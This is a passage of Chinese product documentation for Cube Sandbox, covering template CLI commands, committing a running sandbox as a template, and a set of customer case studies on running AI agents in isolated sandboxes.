如果你在处理的是**存量镜像对应的历史模板**，文档口径应统一为：**`tpl merge` 解决历史 artifact 的存储收敛问题，`tpl redo` 解决节点侧重新分发 / 必要时重建问题。** 典型场景是：模板最初的 artifact 仍保存在 `CubeMaster` 本地盘，后续集群开启了 `s3Backed=true`，需要将这批历史 artifact 从本地盘迁移到 **S3 托管存储**。如果同一次运维还需要让模板重新覆盖目标节点，可以按下面的顺序执行： ```bash cubemastercli tpl merge tpl-748094d2f2374b0a8a37e6ec cubemastercli tpl redo --template-id tpl-748094d2f2374b0a8a37e6ec ``` > **高亮提醒** > 在默认共盘 / 共享 PVC 部署里，即使跳过 `tpl merge`，现有 `READY` 模板通常也**仍可继续下载**；真正的问题是这些历史 artifact 仍未完成从**本地盘到 S3 托管存储**的收敛。 > > * **存储侧**：开启 `s3Backed=true` 后，旧模板不会自动补做迁移。 > * **恢复侧**：如果本地 ext4 已经丢失，再补跑 `tpl merge` 也修不回来，因为已经没有可上传的文件；这时只能对可重建的 `from-image` 模板执行 `tpl redo`，回退到重建流程。 ## 第六步 — 删除模板 ```bash cubemastercli tpl delete tpl-748094d2f2374b0a8a37e6ec # 一次删除多个模板 cubemastercli tpl delete tpl-first tpl-second tpl-third ``` 传入多个模板 ID 时，即使其中某个模板删除失败，CLI 也会继续尝试删除其余模板，最后汇总返回失败项。 成功后输出： ``` template deleted: tpl-748094d2f2374b0a8a37e6ec ``` > ⚠️ 删除操作会同时移除模板元数据和所有节点上的 artifact 副本。已基于该模板运行的沙箱**不受影响**，但此后无法再用该模板创建新沙箱。 ## 常见问题 | 现象 | 可能原因 | 处理方式 | |------|----------|----------| | `phase: PULLING` 长时间卡住 | 镜像拉取慢或集群节点无法访问镜像仓库 | 检查网络/防火墙；私有仓库需添加 `--registry-username` / `--registry-password` | | 明文 HTTP 仓库拉取失败（`server gave HTTP response to HTTPS client`） | 镜像引用未加 `http://` 前缀 | 写成 `http://harbor.internal:5000/ns/app:tag` | | `status: FAILED`（BUILDING 阶段） | 构建错误（磁盘满、Dockerfile 问题等） | 执行 `tpl status --job-id <id> --json` 查看 `last_error` 字段 | | `distribution: 0/N ready`（状态已 READY） | artifact 分发仍在进行（短暂正常） | 等待后重新执行 `tpl info`；若长时间未恢复检查目标节点的 Cubelet 日志 | | 沙箱启动后就绪探针一直失败 | 容器内服务未在预期端口/路径监听，或服务尚未完全就绪时 HTTP server 已提前启动 | 确认 HTTP server 在应用完全就绪后再启动；检查 `--probe-path` 是否正确 | --- --- url: https://cubesandbox.com/zh/guide/tutorials/template-from-sandbox.md --- # 将运行中的沙箱提交为模板 本文介绍如何将运行中沙箱的当前文件系统和内存状态制作成一个新模板。对于一些不适合写 Dockerfile 以及已经有一个符合运行环境的沙箱的情况，可以直接将其制作为模板以供后续使用。 建议在开始前先阅读[模板概览](../templates.md)，了解 OCI 镜像、模板快照、端口、探针和 `envd` 等相关概念。 ## 操作沙箱 创建沙箱后可以使用 cubecli 进入该沙箱（和 docker 命令类似），后续可以在沙箱内部安装依赖，执行命令等等 ```bash cubecli exec -it <sandbox-id> bash ``` ## 提交沙箱 ```bash cubemastercli tpl commit --sandbox-id <sandbox-id> ``` 提交成功后，CubeMaster 会生成一个新的 `tpl-...` 模板 ID，并在源沙箱所在的节点上创建初始副本。 ## 指定模板后续创建沙箱时使用的配置（高级） 执行 `tpl commit` 时，CubeMaster 不仅会保存沙箱当前的文件系统和内存状态，还会为模板保存一份 `CreateCubeSandboxReq`。以后使用这个模板创建沙箱时，这份请求负责恢复容器、启动命令、端口和网络等配置。 默认情况下，不需要提供额外文件。CubeMaster 会自动恢复源沙箱原来的创建请求： ```bash cubemastercli tpl commit --sandbox-id <sandbox-id> ``` 只有在希望新模板使用一套不同的创建配置时，才需要通过 `--file <path>` 提供 JSON 格式的完整 `CreateCubeSandboxReq`： ```bash cubemastercli tpl commit \ --sandbox-id <sandbox-id> \ --file template-request.json ``` 这里的 `--file` **不是**把某个文件复制进模板，也不是只修改 JSON 中出现的几个字段。它会用文件中的请求**完整替换** CubeMaster 自动恢复的原创建请求，两者不会合并。例如，文件中没有包含原请求的容器、启动命令、环境变量或暴露端口时，这些配置不会被自动保留，生成的模板可能无法按预期启动。 一个仅用于说明字段结构的 `template-request.json` 示例： ```json { "instance_type": "cubebox", "network_type": "tap", "cube_network_config": { "allowInternetAccess": true, "allowOut": ["10.0.0.0/8"], "denyOut": [] } } ``` > 上述 JSON 只是简化示例，不一定足以替代你的源沙箱创建请求。使用 `--file` 前，应确认文件包含新模板运行所需的全部配置。如果只是希望把当前沙箱中的文件和运行状态保存为模板，请不要传入 `--file`。 使用 `--file` 时，还可以通过以下命令行参数修改文件请求中的 `cube_network_config`： | 参数 | 作用 | | --- | --- | | `--allow-internet-access=false` | 显式设置请求中的联网开关。 | | `--allow-out-cidr <cidr>` | 追加允许访问的出站 CIDR；该参数可重复传入。 | | `--deny-out-cidr <cidr>` | 追加禁止访问的出站 CIDR；该参数可重复传入。 | 这些网络参数只修改 `--file` 所提供的请求，因此必须与 `--file` 一同使用。例如： ```bash cubemastercli tpl commit \ --sandbox-id <sandbox-id> \ --file template-request.json \ --allow-internet-access=false ``` --- --- url: https://cubesandbox.com/zh/guide/usecases.md --- # 应用案例 ::: warning 必须同时提交中英文 本栏目所有投稿都必须同时包含 `docs/guide/usecases/` 下的英文文件和 `docs/zh/guide/usecases/` 下的中文文件。只更新单一语言的 PR 不会被合并。 ::: 这里收录 Cube Sandbox 在真实业务中的落地方案、生产实践与经验总结。高质量案例应当说明业务背景、为什么选择 Cube Sandbox，以及最终带来了什么结果。 ## 适合收录的内容 * 基于 Cube Sandbox 的真实业务场景 * 面向生产部署的方案设计与架构经验 * 从其他沙箱或代码执行平台迁移到 Cube 的故事 * 内部工具、Agent 工作流与研发效能实践 ## 如何贡献 1. 复制当前目录下的 `_template.md`，并改名为英文 kebab-case 文件名，例如 `browser-agent-in-production.md`。 2. 同时创建这两个文件： * `docs/guide/usecases/<slug>.md` * `docs/zh/guide/usecases/<slug>.md` 3. 中英文文件名必须保持一致，便于双语站点保持 URL 对应关系。 4. 按要求填写 frontmatter，并用具体信息描述业务场景与方案。 5. 在中英文两个索引页的文章列表中各追加一行。 6. 发起 PR 时如有示例仓库、架构图或演示链接，请一并说明。 ## 命名与 frontmatter 规范 * 文件名必须使用英文 kebab-case。 * 不允许使用中文文件名。 * 中英文目录必须使用相同 slug。 * 两个语言版本的 frontmatter key 应保持一致。 ```md --- title: 面向内部 QA 流程的 Browser Agent 方案 author: your-github-id date: 2026-05-14 tags: - browser - qa - production lang: zh-CN --- ``` ## 已发布文章 | 标题 | 作者 | 日期 | 标签 | | --- |------------| --- | --- | | [trpc-agent-go：基于 Cube Sandbox 的安全代码执行后端](./trpc-agent-go.md) | joeyczheng | 2026-06-03 | agent, code-execution, e2b, golang | | [Lexmount AI：把浏览器运行时搬进 Agent 沙箱](./lexmount-browser-agent.md) | 熊袖璋 | 2026-08-13 | agent, browser, browser-runtime, production | | [Hermes Agent：在 Cube Sandbox 中运行常驻 Agent 平台](./hermes-agent.md) | 陈金博 | 2026-08-20 | agent, persistence, skills, host-mount | | [Lenovo Cloud Agent：从 Daytona 到 CubeSandbox 的沙箱迁移](./lenovo-cloud-agent.md) | 李健 | 2026-08-20 | agent, migration, daytona, e2b-compat | | [Horizon Insights：金融投研 Agent 沙箱化实践](./horizon-insights.md) | 王正凯 | 2026-08-26 | agent, financial, host-mount, cubeegress | | [云知声：RL rollout 场景下的密度边界压测](./unisound-rl-rollout.md) | 云知声 Atlas 智算团队 | 2026-09-01 | agent, rl, rollout, density | | [广晟数科：多租户沙箱平台构建实践](./guangdong-rising.md) | 冯佳奇 | 2026-09-03 | agent, multi-tenant, sandbox-platform, lifecycle | | [WeKnora：基于 CubeSandbox 的 Agent 持久化运行环境](./weknora.md) | 陈洋、赵海龙 | 2026-09-17 | agent, snapshot, session-persistence, e2b-compat | | [花椒：沙箱是选项不是标配的 Agent 平台实践](./huajiao.md) | 王成龙、封冰清 | 2026-09-17 | agent, host-mount, go-sdk, execution-environment | | [openFuyao：Kubernetes 中运行 CubeSandbox 的落地实践](./openfuyao.md) | 王文涛、李爱华 | 2026-09-17 | kubernetes, deployment, ebpf, production | --- --- url: https://cubesandbox.com/zh/guide/usecases/guangdong-rising.md --- # 广晟数科：多租户沙箱平台构建实践 ## 业务背景 广晟数科有两条产品线（AI 应用生成平台 SIN Builder、企业级 AI 助手大晟AI）运行 AI Agent 生成的代码。团队把两条产品线各自的沙箱能力收敛成独立服务 common-sandbox-runner，作为广晟数科 SIN PaaS（AI 中台）的沙箱执行层，基于 Cube Sandbox 构建多租户沙箱治理能力。 ## 核心痛点 * **两套实现互不相通**：两条产品线各写一套沙箱能力，生命周期、租约、回收策略互不一致，一次泄漏故障导致两条产品线同时不可用。 * **长会话的状态复用**：Agent 会话是长连接、有状态的，同一会话必须复用同一沙箱；迟到的清理请求可能误删新一代租约正在使用的沙箱。 * **配额与回收的两难**：多副本部署下，既不能误回收正在运行的沙箱，也不能让崩溃副本遗留的沙箱持续泄漏。 * **冷启动延迟**：沙箱冷启动直接变成用户等待时间，自建 warm pool 的维护和一致性成本高。 ## 基于 CubeSandbox 的方案 * **统一沙箱执行层**：独立 FastAPI 服务 common-sandbox-runner 是系统中唯一能写 Cube 的一侧，产品线只通过 `POST /v1/sandbox-runs`（SSE 流式事件）调用；租约、准入计数、GC 候选等跨请求状态全部存 Redis。 * **统一归属记账**：按 namespace + env + 项目 ID + 会话 run ID 推导 `owner_id` 写入沙箱 metadata，所有沙箱可追溯到具体产品线、环境和会话；双模板设计按任务资源量级选择镜像。 * **租约 + fencing token**：`POST /v1/leases` 按 `owner_id` 复用沙箱，`POST /v1/lease-releases` 必须同时匹配 `owner_id` 和 `lease_id`（epoch）才真正 kill，迟到的清理请求只会封存过期代次，不会误删当前租约。 * **准入控制**：Redis Lua 脚本原子获取准入槽（桶级限额 + 全局上限），最长等待 30 秒，超时返回可重试的 CAPACITY\_EXCEEDED。 * **三色标记回收**：参照 JVM/Go 的三色标记清扫加代际宽限——黑色（心跳新鲜的根，永不回收）、灰色（宽限期内，禁止删除）、白色（连续两个确认周期无根引用且 generation 不变，才清扫）；配合 Cube 官方的 `on_timeout=pause` + `auto_resume` 生命周期，空闲租约软预留而非直接 kill。 ## 效果与收益 * **启动延迟**：烤模板 hot-start 实测中位数 180 ms、P95 210 ms，冷启动稳定一秒以内，自建 warm pool 整体退役。 * **架构瘦身**：净删除约 1350 行代码（+193 / -1542），两条产品线的沙箱逻辑收敛成 1 个共用服务，198 个测试用例守住边界。 * **容量上限**：admission 逻辑上限从 200 放宽至 500 沙箱，解除僵尸租约导致的配额死锁，未增加任何机器资源。 ## 参考资料 * 完整案例文章：[谁有权删掉一个沙箱：在 CubeSandbox 上构建多租户沙箱平台](/zh/blog/posts/2026-09-03-guangdong-rising) * Cube Sandbox 源码：[TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/guide/usecases/hermes-agent.md --- # Hermes Agent：在 Cube Sandbox 中运行常驻 Agent 平台 ## 业务背景 上海阳璞新能源科技 AI 团队将内部 Agent 运行平台 Hermes Studio 迁上 Cube Sandbox。一个常驻 Agent 应用需要沙箱记住的不只是任务产物，还包括 Agent 自身的配置、历史会话、以及一批被反复调用的 Skills。而沙箱本身天然是易失的——重启、暂停、迁移都可能让这些状态归零。 ## 核心痛点 * **持久化**：Hermes home（`/root/.hermes`）和 workspace（`/workspace`）需要跨沙箱重建保留。 * **Skills 分层**：公共 Skills 需要统一维护，私有 Skills 不能被覆盖。 * **网络放行**：局域网模型服务需要单独配置出站 CIDR。 * **暂停恢复**：TAP 设备 EBUSY 导致暂停后恢复失败。 ## 基于 Cube Sandbox 的方案 以 Cubelet 节点上的持久化目录作为唯一存储底座，通过 `metadata["host-mount"]` 将 Hermes home、workspace 和公共 Skills 分别挂载进沙箱。公共 Skills 采用"只读共享目录 + 私有目录符号链接"的覆盖层设计。 | 内容 | Cubelet 目录 | 沙箱路径 | 权限 | |---|---|---|---| | Hermes home | `/data/shared/hermes-homes/<home-id>` | `/root/.hermes` | 读写 | | Workspace | `/data/shared/hermes-workspaces/<workspace-id>` | `/workspace` | 读写 | | 公共 Skills | `/data/shared/hermes-common-skills` | `/opt/hermes-common-skills` | 只读 | ## 效果与收益 * 单节点接入数十个 Hermes 沙箱，持续运行约一个月。 * 持久化边界明确，沙箱重建后状态可恢复。 * Skills 集中维护，私有版本优先。 * 已提交 Issue [#953](https://github.com/TencentCloud/CubeSandbox/issues/953) 跟踪 TAP EBUSY 问题。 ## 参考资料 * 完整案例文章：[在 Cube Sandbox 中运行 Hermes Agent](/zh/blog/posts/2026-08-20-hermes-agent) * Cube Sandbox 源码：[TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/guide/usecases/horizon-insights.md --- # 弘则信息：金融投研 Agent 沙箱化实践 ## 业务背景 弘则信息的 4as（All (Domain) Agents as a Service）是一套金融投研 Agent 产品，将领域知识、研究方法、数据工具和持续状态组织为可部署的研究 Agent。单次任务持续几十秒到数分钟，需要完整的 Agent 循环在隔离环境中运行。 ## 核心痛点 * **完整 Agent 循环隔离**：投研 Agent 的 run 涉及模型交互、代码执行、文件操作、外部工具调用，需要完整的进程和文件边界。 * **领域资源版本化分发**：大型领域资源（DAS）需按版本、按授权分发到每个沙箱，不能每次 run 重复搬运。 * **凭据隔离**：模型和工具的长期 API key 不能进入 guest 环境，需在出口侧注入。 * **本地化部署**：金融机构要求运行在指定云环境或客户侧基础设施中，托管沙箱无法覆盖。 ## 基于 CubeSandbox 的方案 三个核心使用场景： | 场景 | CubeSandbox 能力 | 说明 | |---|---|---| | 完整 Pi loop | Sandbox guest 内运行 | 模型-工具主循环、bash/文件操作、MCP 调用均在隔离环境内 | | DAS 资源分发 | Host Mount（只读） | 按 revision 分发不可变文件树，多沙箱共享同一份宿主缓存 | | 凭据管理 | CubeEgress（出口注入） | 长期 key 保留在出口侧，请求离开沙箱时自动注入认证信息 | ## 效果与收益 * 同一套 Agent runtime 支撑客户侧部署和 Cloud 版服务。 * 领域资源按需可见，未挂载资源对 guest 不可见。 * 凭据由平台集中轮换和撤销，Sandbox template 无需随 key 变化重建。 * 已在多个商业合作项目中完成落地部署。 ## 参考资料 * 完整案例文章：[金融投研 Agent 沙箱化：弘则信息基于 CubeSandbox 的选型与架构实践](/zh/blog/posts/2026-08-28-horizon-insights) * Cube Sandbox 源码：[TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/guide/usecases/huajiao.md --- # 花椒：沙箱是选项不是标配的 Agent 平台实践 ## 业务背景 花椒直播（花房集团旗下）的企业 Agent 平台先在花椒直播业务侧完成 0 到 1 验证，随后基于同一套 Agent Runtime 为花房集团中台独立部署一套实例。两套部署合计落地约 30 个 Agent 应用（DMG 业务助手、ChatBI、内容运营助手、法务工作台、GR 工作台等），日均 token 消耗约 8300 万。CubeSandbox 已在生产环境运行 3 个多月。 ## 核心痛点 * **多用户物理隔离**：早期单服务器目录隔离，用户 A 理论上可以通过 Agent 操作到用户 B 的文件。 * **用户数据跨沙箱持久化**：沙箱可回收，但用户工作状态必须保留；普通数据盘无法同时挂多台云服务器。 * **强隔离 + 快启动**：Docker 启动慢、隔离不彻底；传统虚拟机成本高、资源分配不灵活。 * **终端语义自主可控**：平台需要一套自定义、可长期独立演进的终端协议，不能把 runtime 会话模型绑定在外部沙箱 API 语义上。 ## 基于 CubeSandbox 的方案 * **执行环境抽象层**：平台最关键的一层抽象是"执行环境"，CubeSandbox 是接进执行环境服务的一种沙箱方案；隔离决策不在平台层统一，由每个 Agent 按"资源要不要在多用户间物理隔离"自行决定。组织之间（花椒 Agent / 花房 Agent）采用两套完全独立实例，不共享控制面。 * **NFS + host-mount 持久化**：用户持久化数据全部写到 NFS 目录，云服务器故障时新机器挂同一 NFS 继续服务；执行环境守护进程通过 host-mount 把目录映射进沙箱，一个会话对应一个沙箱。 * **深度社区共建**：贡献了官方 Go SDK（[PR #254](https://github.com/TencentCloud/CubeSandbox/pull/254)，15 文件 3288 行），修复连接池误关问题（[PR #322](https://github.com/TencentCloud/CubeSandbox/pull/322)），并定位 host-mount 场景快照恢复时 virtio-fs 根 inode 丢失迁移状态报 InvalidVirtioFsState 的根因（[PR #341](https://github.com/TencentCloud/CubeSandbox/pull/341)）。 * **自研 agentd 终端协议**：跑在 49984 端口，与 envd（49983）并存分工，作为模板主命令（PID 1）启动；提供 sessions/stdin/resize/healthz 等窄 HTTP API，带单调 chunk\_id 的 ring buffer 增量轮询输出，是平台 exec\_command / write\_stdin 的唯一执行数据面，抹平底层执行环境类型差异。 ## 效果与收益 * 同一套 Agent Runtime 支撑两套独立组织部署，约 30 个 Agent 应用在生产运行。 * 资源认知纠偏沉淀为实践原则：沙箱是高性能强隔离虚拟机，不是按用量弹性伸缩的资源池；测试/线上分层规划规格，配合闲置回收和监控告警动态调整。 * Go SDK 与多个修复合入上游，host-mount 快照恢复问题当前以"销毁重建"绕开未解决部分。 ## 参考资料 * 完整案例文章：[沙箱是选项，不是标配：花椒 Agent 平台的架构思考与 Cube 实践](/zh/blog/posts/2026-09-17-huajiao) * Cube Sandbox 源码：[TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/guide/usecases/lenovo-cloud-agent.md --- # Lenovo Cloud Agent：从 Daytona 到 CubeSandbox 的沙箱迁移 ## 业务背景 联想研究院 AI Lab 的云端 Agent 产品经历了两个阶段：1.0 把沙箱当作"每次会话起一个、用完即弃"的隔离执行环境；2.0 把守护进程和 Agent 整体放进沙箱，让沙箱成为一个可以备份、可以回退的独立运行节点。早期使用 Daytona 沙箱，因启动慢（>10 秒）、网络受限（需 VPN）、SaaS 成本三个问题叠加，开始迁移到 Cube Sandbox。 ## 核心痛点 * **API 不兼容**：Daytona 和 E2B（Cube 兼容）的 API 不兼容，无法简单替换。 * **启动性能**：Daytona 沙箱启动超过 10 秒，优化后仍 5 秒，批量并发场景下成为瓶颈。 * **Volume 共享写入**：Cube 早期版本不支持多沙箱共同修改同一挂载目录。 * **服务器重启后沙箱丢失**：2.0 模式下长期运行沙箱，重启后未做快照的沙箱消失。 ## 基于 Cube Sandbox 的方案 迁移分三步走：解除与 Daytona 的强绑定 → 做 SDK 适配层（同时支持 Daytona 和 E2B 接口）→ 对接 Cube。适配层定义统一的 Sandbox Provider 基类，上层业务代码不感知底层差异。 启动性能：从 10 秒以上压缩到 100 毫秒以下。Volume 共享写入问题在 v0.6.0 已修复。跨机恢复计划在 v0.7.0 推出。 ## 效果与收益 * 启动速度从 >10 秒压到 <100 毫秒，用户无感等待。 * SaaS 费用省掉，VPN 问题消失。 * 本地部署后调试体验大幅提升。 * 沙箱角色从"工具执行容器"演进为"独立运行环境"。 ## 参考资料 * 完整案例文章：[从 Daytona 到 CubeSandbox：联想云端 Agent 的沙箱迁移与演进](/zh/blog/posts/2026-08-20-lenovo-cloud-agent) * Cube Sandbox 源码：[TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/guide/usecases/lexmount-browser-agent.md --- # Lexmount AI：把浏览器运行时搬进 Agent 沙箱 ## 业务背景 Lexmount 自研的 Agent 专属浏览器运行时（Lexmount Insight Flow），核心应用场景是让 AI 智能体大规模、稳定地执行网页任务。这个业务形态天然对底层沙箱提出了几条"必须成立"的要求：能真实访问互联网、能批量并发拉起、能给每个沙箱注入不同的运行时状态、能准确知道单机能起多少个。 选型阶段，团队在开源社区寻找"能轻量起大量沙箱"的工具，实测对比过 OpenSandbox 和 Cube Sandbox 后，发现 Cube 的资源占用更低，因此最终选择了后者。从 v0.1.0 跟进到 v0.5.1，围绕四条边界，团队分别碰上了公网不通、模板创建失败、环境变量丢失、资源虚假超卖四个坑。 ## 核心痛点 Agent 浏览器运行时是一个复合工作负载，对沙箱有四个层面的硬需求： * **出站网络**：Agent 打开的每个页面、每次调用的每个 API，都要从沙箱里出到公网。 * **批量启动**：多用户并行、RL batch rollout 场景下，一台机器上会短时间内密集触发沙箱创建请求。 * **动态状态注入**：不同用户、不同任务的 API Key、上下文标签都不同，需要按需注入。 * **真实容量感知**：浏览器运行时是重资源工作负载，需要准确知道单机能跑多少个实例。 ## 基于 Cube Sandbox 的方案 团队把沙箱化拆成两条路径，由业务编排层按风险等级做策略路由： 1. **只隔离 Bash**：低风险短执行场景，Agent Loop 保留在业务编排层，只有 `Bash/exec` 工具调用进入沙箱。沙箱用完即弃，内部无状态。 2. **整个 Agent Runtime 放进沙箱**：高风险重资源场景（浏览器自动化、长时任务），Agent 常驻进程整体进入沙箱，享有独立 CPU/内存和持久工作区。 在接入 Cube Sandbox 的过程中，团队逐一解决四个问题： * **出站网络**：发现 `getGatewayMacAddr()` 在多邻居环境下选错网关 MAC，导致 SYN 包送到错误的 next hop。通过 `tcpdump` 实锤后修复，PR [#224](https://github.com/TencentCloud/CubeSandbox/pull/224) 已合并。 * **批量启动**：发现启动脚本在 network-agent `/readyz` 未通过时就拉起 Cubelet，导致 Images 服务不可用。修复为等 `/readyz` 通过后再启动，PR [#304](https://github.com/TencentCloud/CubeSandbox/pull/304) 已合并。 * **动态状态注入**：发现 `CreateSandboxRequest.containers` 被硬编码为 `vec![]`，环境变量被丢弃。提交 PR [#634](https://github.com/TencentCloud/CubeSandbox/pull/634) 后，确认这是 snapshot restore 架构约束而非底层缺陷。改用"控制面代理、沙箱内执行"的两段式设计补齐。 * **真实容量**：发现 v0.2.x 的 mock 资源指标导致容量虚高，v0.3.0 已修复。总结出"容量必须在业务负载真实压上去的条件下测"的原则。 ## 效果与收益 * **公网连通**：修复 L2 next hop 选择问题，浏览器运行时获得稳定出站网络。 * **批量并发**：修复启动时序竞态，单机可稳定批量拉起沙箱实例。 * **状态注入**：两段式设计在 snapshot restore 架构约束下实现 per-sandbox 状态注入，热启动 P95 亚秒级。 * **容量准确**：消除 mock 指标干扰，容量评估基于真实负载和多源交叉验证。 ## 参考资料 * 完整案例文章：[把浏览器搬进 Agent 沙箱：Lexmount 在 CubeSandbox 上的一线实战](/zh/blog/posts/2026-08-13-lexmount-browser-agent) * Cube Sandbox 源码：[TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/guide/usecases/openfuyao.md --- # openFuyao：Kubernetes 中运行 CubeSandbox 的落地实践 ## 业务背景 openFuyao 是面向通算和智算集群软件技术创新的开源社区，算力基础设施统一构建在 K8s 上。openFuyao Agent 沙箱 SIG 团队把 CubeSandbox 的控制面、数据面、计算面全部封装成标准 K8s workload，实现"K8s 管节点，CubeSandbox 管沙箱"，方案已作为 [discussion #636](https://github.com/TencentCloud/CubeSandbox/discussions/636) 提交社区。v0.6.0 官方 K8s 原生部署方案与其自研模式类似，可平滑切换。 ## 核心痛点 * **两套运维体系**：CubeSandbox 早期物理机部署形态（systemd + Docker Compose）与 K8s 平台并存，发布、监控、证书轮转各走各的通道，心智成本双倍。 * **同节点网络不通**：计算面跑进 Big Pod 后，同节点访问沙箱映射端口必然失败（issue [#443](https://github.com/TencentCloud/CubeSandbox/issues/443)）。 * **cubelet 进程模型与 PID 1 冲突**：cubelet 假设自己跑在宿主机 systemd 下，"进程 B 杀父成孤儿"的模型进 pod 后会让容器崩溃。 * **特性语义漂移**：host-mount 的"宿主"从节点漂移到 Big Pod；CubeVS 默认拒绝的 CIDR 列表恰好覆盖全部 K8s pod/cluster 网段。 * **双调度器冲突**：K8s 调 pod、CubeMaster 调沙箱，pod resources.limits 卡死会让 Cube 的 overcommit 被 cgroup 反噬。 ## 基于 CubeSandbox 的方案 * **Big Pod 部署架构**：cubelet + network-agent + cube-egress + CubeShim + CubeHypervisor 封装为特权 DaemonSet（hostPath /dev/kvm、/data/cubelet，沙箱跑在 Big Pod 内）；CubeAPI/CubeMaster/CubeProxy 走 Deployment+Service（CubeMaster 挂 PV 存模板）；MySQL/Redis 走 StatefulSet；CoreDNS 复用集群配 cube.app 转发。 * **网络问题定位链路**：5 个对照场景锁定"同节点入向流量 + 映射端口"必不通 → nettrace/TAP 抓包 → bpftool → bpf\_printk 日志，根因为 eBPF 本节点转发缺伪首部导致 cksum 校验失败；该 issue 推动上游定位，修复在 v0.4.0 完成（PR [#469](https://github.com/TencentCloud/CubeSandbox/pull/469) 引用了 issue #443）。 * **孤儿进程解法（不改一行 cubelet 代码）**：tini 作 PID 1 + bash entrypoint 后台起 cubelet + pidfile + preStop hook，完整保留 cubelet 原进程模型。 * **四处语义平移经验**：CubeMaster 挂 PV + 本地模板持久化 hostPath（跟随节点不跟随 pod）；计算面 pod 需 hostPath 卷 + 特权模式穿透真节点目录；按需 allow\_out 显式放行集群内 service CIDR；network-agent 用"路由表解析网关 IP → 邻居表按 IP 精确匹配 → 接受 NUD\_STALE/NUD\_PROBE 宽松过滤"解决 pod 内拿不到网关 MAC。 * **调度分工**：K8s 调度限制在节点级，沙箱装箱交给 CubeMaster overcommit；计算面 pod 的 CPU/内存 limit 给足或不限。 ## 效果与收益 * 沙箱计算节点像普通工作负载一样被 K8s 弹性扩缩、滚动升级，不侵入 APIServer/Scheduler/etcd，只用标准原语。 * 深度使用 template 分发、snapshot、pause-resume、host-mount、egress、网络策略、E2B 接口、ARM 适配等特性。 * issue #443 被上游 v0.4.0 修复 PR 引用，成为"实践反馈上游"的典型案例。 * 向社区提出 5 项能力诉求：跨机暂停恢复、跨机 Snapshot 启动（v0.7.0 已支持预览版）、控制面/数据面隔离与无断服升级、更高创建吞吐、兼容 cilium/calico 等 eBPF CNI。 ## 参考资料 * 完整案例文章：[Kubernetes 中运行 CubeSandbox 的部署与落地应用实践](/zh/blog/posts/2026-09-17-openfuyao) * Cube Sandbox 源码：[TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/guide/usecases/trpc-agent-go.md --- # trpc-agent-go：基于 Cube Sandbox 的安全代码执行后端 ## 业务背景 [trpc-agent-go](https://github.com/trpc-group/trpc-agent-go) 是腾讯开源的 Go 语言 Agent 开发框架，提供从模型调用、工具编排、记忆管理到代码执行（Code Interpreter）的完整能力。在真实业务中，Agent 经常需要执行 LLM 生成的 Python / JavaScript / Bash 代码，例如： * 数据分析与可视化（pandas、matplotlib）； * 业务报表生成（PDF、Excel、SVG 图表）； * 动态脚本与一次性任务（爬虫、清洗、转换）； * Agentic RL / Tool-Use 场景下的多轮代码执行与反馈闭环。 为此 trpc-agent-go 在 `codeexecutor/e2b` 包中实现了与 [E2B](https://e2b.dev) 协议兼容的 `CodeExecutor`，支持把 Agent 生成的代码直接送入沙箱执行，并把 stdout / stderr、富媒体结果（PNG、PDF、SVG、HTML、Markdown）和工作区产物回流给上层 Agent。 ## 核心痛点 直接在 Agent 进程或宿主容器里跑 LLM 生成的代码，会遇到几个生产级问题： * **安全性**：模型生成的代码不可信，可能读敏感文件、发起任意网络请求、消耗主机资源，必须有强隔离边界。 * **依赖与污染**：Python 数据科学栈、Node 工具链、字体、临时文件相互影响，长生命周期进程易出现状态污染。 * **冷启动与并发**：Agent 应用流量呈"突发 + 多会话"特征，传统容器秒级冷启动和较高内存占用难以扛住高并发短任务。 * **多轮一致性**：多轮 Agent 经常需要"上一步生成的中间文件，下一步继续读"，纯 Function 化执行难以保留工作区状态。 * **海外 SaaS 依赖**：直接接入 E2B 公有云会带来跨境网络、合规、计费等问题；自建一套兼容方案的成本不低。 ## 基于 Cube Sandbox 的方案 Cube Sandbox 兼容 E2B 沙箱协议，因此 trpc-agent-go 的 `e2b.CodeExecutor` 可以**零代码改动**接入自建的 Cube Sandbox 集群，仅通过 Option 切换后端： ```go import ( "context" "time" "trpc.group/trpc-go/trpc-agent-go/codeexecutor/e2b" ) ce, err := e2b.New( // 把 E2B 客户端指向自建的 Cube Sandbox 控制面 e2b.WithAPIURL("https://cube-sandbox.your-domain.internal"), e2b.WithAPIKey("<token-issued-by-cube>"), // 选择已经在 Cube 中构建好的 code-interpreter 模板 e2b.WithTemplate("code-interpreter-v1"), // 沙箱级与执行级超时 e2b.WithSandboxTimeout(10*time.Minute), e2b.WithExecutionTimeout(60*time.Second), // 多轮 Agent 推荐开启会话级工作区，跨 turn 复用文件 e2b.WithWorkspacePersistence(e2b.WorkspacePersistencePerSession), ) if err != nil { panic(err) } defer ce.Close() ``` 接入后，整体调用链如下： ``` LLM ──► Agent (trpc-agent-go) │ │ CodeExecutor.ExecuteCode / Engine ▼ E2B 协议 (HTTP + envd) │ ▼ Cube Sandbox 控制面 ──► KVM 微虚机（per session / per turn） ├─ Python / Node / Bash 内核 ├─ 工作区目录 /tmp/run/<execID> └─ stdout / stderr / 文件产物 回流 ``` trpc-agent-go 在这套链路上额外提供： * **多语言适配**：`pickLanguage` 自动把模型输出的 ` ```python `、` ```ts `、` ```bash ` 等转成 Cube Sandbox 内核可识别的语言标识。 * **富结果还原**：把沙箱返回的 PNG / JPEG / PDF / SVG / LaTeX 等结果，自动解码成 `codeexecutor.File` 交给上层 Agent，作为多模态消息或附件回到对话流。 * **工作区抽象**：`CreateWorkspace`、`PutFiles`、`StageDirectory`、`Collect` 等接口将文件 staging、收集产物的能力封装在沙箱内部进行，配合 `WorkspacePersistencePerSession` 让多轮对话天然共享中间文件。 * **生命周期可控**：通过 `WithSandboxID` 复用已存在的 Cube 沙箱，或由 `CodeExecutor` 自己负责创建/销毁，便于实现"会话池"。 ## 效果与收益 将 Agent 代码执行后端从公共 SaaS / 容器方案迁移到自建 Cube 